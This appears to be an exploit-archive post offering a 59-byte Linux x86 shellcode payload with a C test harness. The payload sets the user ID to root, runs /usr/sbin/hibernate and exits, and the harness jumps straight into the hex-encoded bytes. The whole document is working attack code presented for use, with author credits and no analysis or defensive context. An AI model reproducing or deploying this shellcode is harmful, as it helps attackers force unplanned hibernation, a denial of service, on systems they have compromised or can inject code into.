linux/x86 setuid(0, 0) + execve("/usr/sbin/hibernate") + exit(0) - 59 bytes

/*

+=========================================================================================================
| # Exploit Title  : linux/x86 setuid(0, 0) + execve("/usr/sbin/hibernate") + exit(0) - 59 bytes
| # Exploit Author : Febriyanto Nugroho
| # Tested on      : Linux Debian 5.0.5 
| --------------------------------------------------------------------------------------------------------
| # Thank's to     : xevil, CyberKaze, X-Cisadane, Deyubi-Cyber, Deflectoz, justinisal, Bomber88, 
|                    ame, d0ey_Grunch, bh0ttu, Revil, and all Bogor Hackers Community member and crew ...                                              
+=========================================================================================================

 */

#include <stdio.h>
#include <string.h>

char *source = "\x31\xc0\x31\xdb\x50\x53\x89"
               "\xe1\xb0\x17\xcd\x80\x31\xc0"
               "\x50\x68\x6e\x61\x74\x65\x68"
               "\x69\x62\x65\x72\x68\x6e\x2f"
               "\x2f\x68\x68\x2f\x73\x62\x69"
               "\x68\x2f\x75\x73\x72\x89\xe3"
               "\x50\x53\x89\xe1\xb0\x0b\xcd"
               "\x80\x31\xc0\x50\x89\xe3\xb0"
               "\x01\xcd\x80";

int main(int argc, char *argv[]) {
printf("shellcode length ->  %d bytes\n", (int)strlen(source));
int (*ret)()=(int(*)())source;
ret();
return 0;
}